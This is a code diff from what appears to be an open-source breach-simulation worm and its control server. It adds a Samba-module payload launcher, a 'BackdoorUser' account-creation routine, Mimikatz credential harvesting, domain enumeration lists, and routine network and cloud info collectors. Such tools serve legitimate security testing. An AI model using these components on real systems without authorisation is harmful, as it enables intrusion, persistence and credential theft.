const char MONKEY_DEST_NAME[] = "monkey";
|
const char MONKEY_DEST_NAME[] = "monkey";
|
||||||
|
|
||||||
int found = 0;
|
int found = 0;
|
||||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||||
|
@ -43,22 +43,22 @@ int samba_init_module(void)
|
||||||
int monkeySize = 0;
|
int monkeySize = 0;
|
||||||
void* monkeyBinary = NULL;
|
void* monkeyBinary = NULL;
|
||||||
struct stat fileStats;
|
struct stat fileStats;
|
||||||
|
|
||||||
pid = fork();
|
pid = fork();
|
||||||
|
|
||||||
if (0 != pid)
|
if (0 != pid)
|
||||||
{
|
{
|
||||||
// error or this is parent - nothing to do but return.
|
// error or this is parent - nothing to do but return.
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Find fullpath of running module.
|
// Find fullpath of running module.
|
||||||
pFile = fopen("/proc/self/maps", "r");
|
pFile = fopen("/proc/self/maps", "r");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||||
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||||
if (fileNamePointer != NULL) {
|
if (fileNamePointer != NULL) {
|
||||||
|
@ -66,44 +66,42 @@ int samba_init_module(void)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
// We can't find ourselves in module list
|
// We can't find ourselves in module list
|
||||||
if (0 == found)
|
if (0 == found)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
monkeyDirectory = strchr(modulePathLine, '/');
|
monkeyDirectory = strchr(modulePathLine, '/');
|
||||||
*fileNamePointer = '\0';
|
*fileNamePointer = '\0';
|
||||||
|
|
||||||
if (0 != chdir(monkeyDirectory))
|
if (0 != chdir(monkeyDirectory))
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write file to indicate we're running
|
// Write file to indicate we're running
|
||||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
// Read commandline
|
// Read commandline
|
||||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Build commandline
|
// Build commandline
|
||||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
|
||||||
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
|
|
||||||
strncat(commandline, " ", 1);
|
|
||||||
|
|
||||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
|
@ -4,4 +4,4 @@
|
||||||
extern int samba_init_module(void);
|
extern int samba_init_module(void);
|
||||||
extern int init_samba_module(void);
|
extern int init_samba_module(void);
|
||||||
|
|
||||||
#endif // monkey_runner_h__
|
#endif // monkey_runner_h__
|
||||||
|
|
|
@ -106,8 +106,8 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if SCAN_DELAY:
|
if WormConfiguration.tcp_scan_interval:
|
||||||
time.sleep(SCAN_DELAY)
|
time.sleep(WormConfiguration.tcp_scan_interval)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
||||||
|
|
|
@ -5,12 +5,17 @@ import select
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import time
|
import time
|
||||||
|
import re
|
||||||
|
|
||||||
from six import text_type
|
from six.moves import range
|
||||||
import ipaddress
|
|
||||||
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
|
from infection_monkey.utils import is_64bit_python
|
||||||
|
|
||||||
DEFAULT_TIMEOUT = 10
|
DEFAULT_TIMEOUT = 10
|
||||||
BANNER_READ = 1024
|
BANNER_READ = 1024
|
||||||
|
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
|
||||||
|
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
SLEEP_BETWEEN_POLL = 0.5
|
SLEEP_BETWEEN_POLL = 0.5
|
||||||
|
@ -174,58 +179,95 @@ def tcp_port_to_service(port):
|
||||||
return 'tcp-' + str(port)
|
return 'tcp-' + str(port)
|
||||||
|
|
||||||
|
|
||||||
def traceroute(target_ip, ttl):
|
def traceroute(target_ip, ttl=64):
|
||||||
"""
|
"""
|
||||||
Traceroute for a specific IP.
|
Traceroute for a specific IP/name.
|
||||||
:param target_ip: Destination
|
Note, may throw exception on failure that should be handled by caller.
|
||||||
|
:param target_ip: IP/name of target
|
||||||
:param ttl: Max TTL
|
:param ttl: Max TTL
|
||||||
:return: Sequence of IPs in the way
|
:return: Sequence of IPs in the way
|
||||||
"""
|
"""
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
try:
|
return _traceroute_windows(target_ip, ttl)
|
||||||
# we'll just use tracert because that's always there
|
|
||||||
cli = ["tracert",
|
|
||||||
"-d",
|
|
||||||
"-w", "250",
|
|
||||||
"-h", str(ttl),
|
|
||||||
target_ip]
|
|
||||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
|
||||||
stdout, stderr = proc_obj.communicate()
|
|
||||||
ip_lines = stdout.split('\r\n')[3:-3]
|
|
||||||
trace_list = []
|
|
||||||
for line in ip_lines:
|
|
||||||
tokens = line.split()
|
|
||||||
last_token = tokens[-1]
|
|
||||||
try:
|
|
||||||
ip_addr = ipaddress.ip_address(text_type(last_token))
|
|
||||||
except ValueError:
|
|
||||||
ip_addr = ""
|
|
||||||
trace_list.append(ip_addr)
|
|
||||||
return trace_list
|
|
||||||
except:
|
|
||||||
return []
|
|
||||||
else: # linux based hopefully
|
else: # linux based hopefully
|
||||||
# implementation note: We're currently going to just use ping.
|
return _traceroute_linux(target_ip, ttl)
|
||||||
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
|
|
||||||
# while this is just ugly
|
|
||||||
# we can't use traceroute because it's not always installed
|
def _get_traceroute_bin_path():
|
||||||
current_ttl = 1
|
"""
|
||||||
trace_list = []
|
Gets the path to the prebuilt traceroute executable
|
||||||
while current_ttl <= ttl:
|
|
||||||
try:
|
This is the traceroute utility from: http://traceroute.sourceforge.net
|
||||||
cli = ["ping",
|
Its been built using the buildroot utility with the following settings:
|
||||||
"-c", "1",
|
* Statically link to musl and all other required libs
|
||||||
"-w", "1",
|
* Optimize for size
|
||||||
"-t", str(current_ttl),
|
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
|
||||||
target_ip]
|
|
||||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
:return: Path to traceroute executable
|
||||||
stdout, stderr = proc_obj.communicate()
|
"""
|
||||||
ip_line = stdout.split('\n')
|
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
|
||||||
ip_line = ip_line[1]
|
|
||||||
ip = ip_line.split()[1]
|
|
||||||
trace_list.append(ipaddress.ip_address(text_type(ip)))
|
def _parse_traceroute(output, regex, ttl):
|
||||||
except (IndexError, ValueError):
|
"""
|
||||||
# assume we failed parsing output
|
Parses the output of traceroute (from either Linux or Windows)
|
||||||
trace_list.append("")
|
:param output: The output of the traceroute
|
||||||
current_ttl += 1
|
:param regex: Regex for finding an IP address
|
||||||
return trace_list
|
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
|
||||||
|
:return: List of ips which are the hops on the way to the traceroute destination.
|
||||||
|
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
|
||||||
|
"""
|
||||||
|
ip_lines = output.split('\n')
|
||||||
|
trace_list = []
|
||||||
|
|
||||||
|
first_line_index = None
|
||||||
|
for i in range(len(ip_lines)):
|
||||||
|
if re.search(r'^\s*1', ip_lines[i]) is not None:
|
||||||
|
first_line_index = i
|
||||||
|
break
|
||||||
|
|
||||||
|
for i in range(first_line_index, first_line_index + ttl):
|
||||||
|
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
|
||||||
|
break
|
||||||
|
|
||||||
|
re_res = re.search(regex, ip_lines[i])
|
||||||
|
if re_res is None:
|
||||||
|
ip_addr = None
|
||||||
|
else:
|
||||||
|
ip_addr = re_res.group()
|
||||||
|
trace_list.append(ip_addr)
|
||||||
|
|
||||||
|
return trace_list
|
||||||
|
|
||||||
|
|
||||||
|
def _traceroute_windows(target_ip, ttl):
|
||||||
|
"""
|
||||||
|
Traceroute for a specific IP/name - Windows implementation
|
||||||
|
"""
|
||||||
|
# we'll just use tracert because that's always there
|
||||||
|
cli = ["tracert",
|
||||||
|
"-d",
|
||||||
|
"-w", "250",
|
||||||
|
"-h", str(ttl),
|
||||||
|
target_ip]
|
||||||
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
|
stdout, stderr = proc_obj.communicate()
|
||||||
|
stdout = stdout.replace('\r', '')
|
||||||
|
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
|
||||||
|
|
||||||
|
|
||||||
|
def _traceroute_linux(target_ip, ttl):
|
||||||
|
"""
|
||||||
|
Traceroute for a specific IP/name - Linux implementation
|
||||||
|
"""
|
||||||
|
|
||||||
|
cli = [_get_traceroute_bin_path(),
|
||||||
|
"-m", str(ttl),
|
||||||
|
target_ip]
|
||||||
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
|
stdout, stderr = proc_obj.communicate()
|
||||||
|
|
||||||
|
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
|
||||||
|
lines = [x[1:-1] if x else None # Removes parenthesis
|
||||||
|
for x in lines]
|
||||||
|
return lines
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
|
||||||
|
from add_user import BackdoorUser
|
|
@ -0,0 +1,49 @@
|
||||||
|
import datetime
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Linux doesn't have WindowsError
|
||||||
|
try:
|
||||||
|
WindowsError
|
||||||
|
except NameError:
|
||||||
|
WindowsError = None
|
||||||
|
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
|
||||||
|
class BackdoorUser(object):
|
||||||
|
"""
|
||||||
|
This module adds a disabled user to the system.
|
||||||
|
This tests part of the ATT&CK matrix
|
||||||
|
"""
|
||||||
|
|
||||||
|
def act(self):
|
||||||
|
LOG.info("Adding a user")
|
||||||
|
if sys.platform.startswith("win"):
|
||||||
|
retval = self.add_user_windows()
|
||||||
|
else:
|
||||||
|
retval = self.add_user_linux()
|
||||||
|
if retval != 0:
|
||||||
|
LOG.warn("Failed to add a user")
|
||||||
|
else:
|
||||||
|
LOG.info("Done adding user")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_user_linux():
|
||||||
|
cmd_line = ['useradd', '-M', '--expiredate',
|
||||||
|
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||||
|
WormConfiguration.user_to_add]
|
||||||
|
retval = subprocess.call(cmd_line)
|
||||||
|
return retval
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_user_windows():
|
||||||
|
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
|
||||||
|
WormConfiguration.remote_user_pass,
|
||||||
|
'/add', '/ACTIVE:NO']
|
||||||
|
retval = subprocess.call(cmd_line)
|
||||||
|
return retval
|
|
@ -1,4 +1,5 @@
|
||||||
How to build a monkey binary from scratch.
|
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||||
|
If you only want to monkey from scratch you may refer to the instructions below.
|
||||||
|
|
||||||
The monkey is composed of three separate parts.
|
The monkey is composed of three separate parts.
|
||||||
* The Infection Monkey itself - PyInstaller compressed python archives
|
* The Infection Monkey itself - PyInstaller compressed python archives
|
||||||
|
|
|
@ -14,5 +14,7 @@ six
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
|
wmi
|
||||||
|
pywin32
|
||||||
pymssql
|
pymssql
|
||||||
pyftpdlib
|
pyftpdlib
|
|
@ -6,7 +6,9 @@ import psutil
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
|
|
||||||
from infection_monkey.network.info import get_host_subnets
|
from infection_monkey.network.info import get_host_subnets
|
||||||
|
from infection_monkey.system_info.aws_collector import AwsCollector
|
||||||
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
||||||
|
from infection_monkey.system_info.netstat_collector import NetstatCollector
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -57,6 +59,13 @@ class InfoCollector(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.info = {}
|
self.info = {}
|
||||||
|
|
||||||
|
def get_info(self):
|
||||||
|
self.get_hostname()
|
||||||
|
self.get_process_list()
|
||||||
|
self.get_network_info()
|
||||||
|
self.get_azure_info()
|
||||||
|
self.get_aws_info()
|
||||||
|
|
||||||
def get_hostname(self):
|
def get_hostname(self):
|
||||||
"""
|
"""
|
||||||
Adds the fully qualified computer hostname to the system information.
|
Adds the fully qualified computer hostname to the system information.
|
||||||
|
@ -99,12 +108,16 @@ class InfoCollector(object):
|
||||||
def get_network_info(self):
|
def get_network_info(self):
|
||||||
"""
|
"""
|
||||||
Adds network information from the host to the system information.
|
Adds network information from the host to the system information.
|
||||||
Currently updates with a list of networks accessible from host,
|
Currently updates with netstat and a list of networks accessible from host
|
||||||
containing host ip and the subnet range.
|
containing host ip and the subnet range
|
||||||
:return: None. Updates class information
|
:return: None. Updates class information
|
||||||
"""
|
"""
|
||||||
LOG.debug("Reading subnets")
|
LOG.debug("Reading subnets")
|
||||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
self.info['network_info'] =\
|
||||||
|
{
|
||||||
|
'networks': get_host_subnets(),
|
||||||
|
'netstat': NetstatCollector.get_netstat_info()
|
||||||
|
}
|
||||||
|
|
||||||
def get_azure_info(self):
|
def get_azure_info(self):
|
||||||
"""
|
"""
|
||||||
|
@ -131,3 +144,6 @@ class InfoCollector(object):
|
||||||
if len(azure_creds) != 0:
|
if len(azure_creds) != 0:
|
||||||
self.info["Azure"] = {}
|
self.info["Azure"] = {}
|
||||||
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
||||||
|
|
||||||
|
def get_aws_info(self):
|
||||||
|
self.info['aws'] = AwsCollector().get_aws_info()
|
||||||
|
|
|
@ -0,0 +1,29 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from common.cloud.aws import AWS
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class AwsCollector(object):
|
||||||
|
"""
|
||||||
|
Extract info from AWS machines
|
||||||
|
"""
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_aws_info():
|
||||||
|
LOG.info("Collecting AWS info")
|
||||||
|
aws = AWS()
|
||||||
|
info = {}
|
||||||
|
if aws.is_aws_instance():
|
||||||
|
LOG.info("Machine is an AWS instance")
|
||||||
|
info = \
|
||||||
|
{
|
||||||
|
'instance_id': aws.get_instance_id()
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
LOG.info("Machine is NOT an AWS instance")
|
||||||
|
|
||||||
|
return info
|
|
@ -23,10 +23,7 @@ class LinuxInfoCollector(InfoCollector):
|
||||||
:return: Dict of system information
|
:return: Dict of system information
|
||||||
"""
|
"""
|
||||||
LOG.debug("Running Linux collector")
|
LOG.debug("Running Linux collector")
|
||||||
self.get_hostname()
|
super(LinuxInfoCollector, self).get_info()
|
||||||
self.get_process_list()
|
|
||||||
self.get_network_info()
|
|
||||||
self.get_azure_info()
|
|
||||||
self.info['ssh_info'] = SSHCollector.get_info()
|
self.info['ssh_info'] = SSHCollector.get_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
|
|
@ -44,8 +44,10 @@ class MimikatzCollector(object):
|
||||||
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
||||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||||
|
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
self._collect = collect_proto(("collect", self._dll))
|
||||||
self._get = get_proto(("get", self._dll))
|
self._get = get_proto(("get", self._dll))
|
||||||
|
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
||||||
self._isInit = True
|
self._isInit = True
|
||||||
except Exception:
|
except Exception:
|
||||||
LOG.exception("Error initializing mimikatz collector")
|
LOG.exception("Error initializing mimikatz collector")
|
||||||
|
@ -55,6 +57,7 @@ class MimikatzCollector(object):
|
||||||
Gets the logon info from mimikatz.
|
Gets the logon info from mimikatz.
|
||||||
Returns a dictionary of users with their known credentials.
|
Returns a dictionary of users with their known credentials.
|
||||||
"""
|
"""
|
||||||
|
LOG.info('Getting mimikatz logon information')
|
||||||
if not self._isInit:
|
if not self._isInit:
|
||||||
return {}
|
return {}
|
||||||
LOG.debug("Running mimikatz collector")
|
LOG.debug("Running mimikatz collector")
|
||||||
|
@ -64,6 +67,8 @@ class MimikatzCollector(object):
|
||||||
|
|
||||||
logon_data_dictionary = {}
|
logon_data_dictionary = {}
|
||||||
hostname = socket.gethostname()
|
hostname = socket.gethostname()
|
||||||
|
|
||||||
|
self.mimikatz_text = self._get_text_output_proto()
|
||||||
|
|
||||||
for i in range(entry_count):
|
for i in range(entry_count):
|
||||||
entry = self._get()
|
entry = self._get()
|
||||||
|
@ -97,6 +102,9 @@ class MimikatzCollector(object):
|
||||||
except Exception:
|
except Exception:
|
||||||
LOG.exception("Error getting logon info")
|
LOG.exception("Error getting logon info")
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
def get_mimikatz_text(self):
|
||||||
|
return self.mimikatz_text
|
||||||
|
|
||||||
class LogonData(ctypes.Structure):
|
class LogonData(ctypes.Structure):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import psutil
|
||||||
|
import socket
|
||||||
|
|
||||||
|
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class NetstatCollector(object):
|
||||||
|
"""
|
||||||
|
Extract netstat info
|
||||||
|
"""
|
||||||
|
|
||||||
|
AF_INET6 = getattr(socket, 'AF_INET6', object())
|
||||||
|
|
||||||
|
proto_map = {
|
||||||
|
(AF_INET, SOCK_STREAM): 'tcp',
|
||||||
|
(AF_INET6, SOCK_STREAM): 'tcp6',
|
||||||
|
(AF_INET, SOCK_DGRAM): 'udp',
|
||||||
|
(AF_INET6, SOCK_DGRAM): 'udp6',
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_netstat_info():
|
||||||
|
LOG.info("Collecting netstat info")
|
||||||
|
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_connection(c):
|
||||||
|
return \
|
||||||
|
{
|
||||||
|
'proto': NetstatCollector.proto_map[(c.family, c.type)],
|
||||||
|
'local_address': c.laddr[0],
|
||||||
|
'local_port': c.laddr[1],
|
||||||
|
'remote_address': c.raddr[0] if c.raddr else None,
|
||||||
|
'remote_port': c.raddr[1] if c.raddr else None,
|
||||||
|
'status': c.status,
|
||||||
|
'pid': c.pid
|
||||||
|
}
|
|
@ -1,10 +1,17 @@
|
||||||
|
import os
|
||||||
import logging
|
import logging
|
||||||
|
import sys
|
||||||
|
|
||||||
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
|
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
||||||
from infection_monkey.system_info import InfoCollector
|
from infection_monkey.system_info import InfoCollector
|
||||||
|
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
||||||
|
from common.utils.wmi_utils import WMIUtils
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
LOG.info('started windows info collector')
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
@ -17,6 +24,8 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(WindowsInfoCollector, self).__init__()
|
super(WindowsInfoCollector, self).__init__()
|
||||||
self._config = infection_monkey.config.WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
self.info['reg'] = {}
|
||||||
|
self.info['wmi'] = {}
|
||||||
|
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
"""
|
"""
|
||||||
|
@ -26,17 +35,33 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
:return: Dict of system information
|
:return: Dict of system information
|
||||||
"""
|
"""
|
||||||
LOG.debug("Running Windows collector")
|
LOG.debug("Running Windows collector")
|
||||||
self.get_hostname()
|
super(WindowsInfoCollector, self).get_info()
|
||||||
self.get_process_list()
|
#self.get_wmi_info()
|
||||||
self.get_network_info()
|
self.get_installed_packages()
|
||||||
self.get_azure_info()
|
from infection_monkey.config import WormConfiguration
|
||||||
self._get_mimikatz_info()
|
if WormConfiguration.should_use_mimikatz:
|
||||||
|
self.get_mimikatz_info()
|
||||||
|
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
def _get_mimikatz_info(self):
|
def get_installed_packages(self):
|
||||||
if self._config.should_use_mimikatz:
|
LOG.info('getting installed packages')
|
||||||
LOG.info("Using mimikatz")
|
self.info["installed_packages"] = os.popen("dism /online /get-packages").read()
|
||||||
self.info["credentials"].update(MimikatzCollector().get_logon_info())
|
self.info["installed_features"] = os.popen("dism /online /get-features").read()
|
||||||
|
LOG.debug('Got installed packages')
|
||||||
|
|
||||||
|
def get_wmi_info(self):
|
||||||
|
LOG.info('getting wmi info')
|
||||||
|
for wmi_class_name in WMI_CLASSES:
|
||||||
|
self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
|
||||||
|
LOG.debug('finished get_wmi_info')
|
||||||
|
|
||||||
|
def get_mimikatz_info(self):
|
||||||
|
mimikatz_collector = MimikatzCollector()
|
||||||
|
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||||
|
if mimikatz_info:
|
||||||
|
if "credentials" in self.info:
|
||||||
|
self.info["credentials"].update(mimikatz_info)
|
||||||
|
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
||||||
else:
|
else:
|
||||||
LOG.info("Not using mimikatz")
|
LOG.info('No mimikatz info was gathered')
|
||||||
|
|
|
@ -0,0 +1,32 @@
|
||||||
|
WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
|
||||||
|
"Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
|
||||||
|
"Win32_OptionalFeature"}
|
||||||
|
|
||||||
|
# These wmi queries are able to return data about all the users & machines in the domain.
|
||||||
|
# For these queries to work, the monkey should be run on a domain machine and
|
||||||
|
#
|
||||||
|
# monkey should run as *** SYSTEM *** !!!
|
||||||
|
#
|
||||||
|
WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
|
||||||
|
"DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
|
||||||
|
"DS_objectSid", "DS_objectClass", "DS_memberOf",
|
||||||
|
"DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
|
||||||
|
"DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
|
||||||
|
"DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
|
||||||
|
|
||||||
|
"ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
|
||||||
|
"DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
|
||||||
|
"DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
|
||||||
|
"DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
|
||||||
|
|
||||||
|
"ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
|
||||||
|
"DS_adminDisplayName", "DS_badPasswordTime",
|
||||||
|
"DS_badPwdCount", "DS_cn", "DS_distinguishedName",
|
||||||
|
"DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
|
||||||
|
"DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
|
||||||
|
"DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
|
||||||
|
"DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
|
||||||
|
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
|
||||||
|
"DS_whenChanged", "DS_whenCreated"),
|
||||||
|
}
|
||||||
|
|
|
@ -30,3 +30,8 @@ def is_64bit_python():
|
||||||
def is_windows_os():
|
def is_windows_os():
|
||||||
return sys.platform.startswith("win")
|
return sys.platform.startswith("win")
|
||||||
|
|
||||||
|
|
||||||
|
def utf_to_ascii(string):
|
||||||
|
# Converts utf string to ascii. Safe to use even if string is already ascii.
|
||||||
|
udata = string.decode("utf-8")
|
||||||
|
return udata.encode("ascii", "ignore")
|
||||||
|
|
|
@ -84,7 +84,7 @@ def init_app(mongo_url):
|
||||||
|
|
||||||
app.config['MONGO_URI'] = mongo_url
|
app.config['MONGO_URI'] = mongo_url
|
||||||
|
|
||||||
app.config['SECRET_KEY'] = uuid.getnode()
|
app.config['SECRET_KEY'] = str(uuid.getnode())
|
||||||
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
||||||
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
||||||
|
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
import abc
|
import abc
|
||||||
from datetime import timedelta
|
from datetime import timedelta
|
||||||
|
import os
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -8,7 +9,7 @@ class Environment(object):
|
||||||
__metaclass__ = abc.ABCMeta
|
__metaclass__ = abc.ABCMeta
|
||||||
|
|
||||||
_ISLAND_PORT = 5000
|
_ISLAND_PORT = 5000
|
||||||
_MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
|
||||||
_DEBUG_SERVER = False
|
_DEBUG_SERVER = False
|
||||||
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
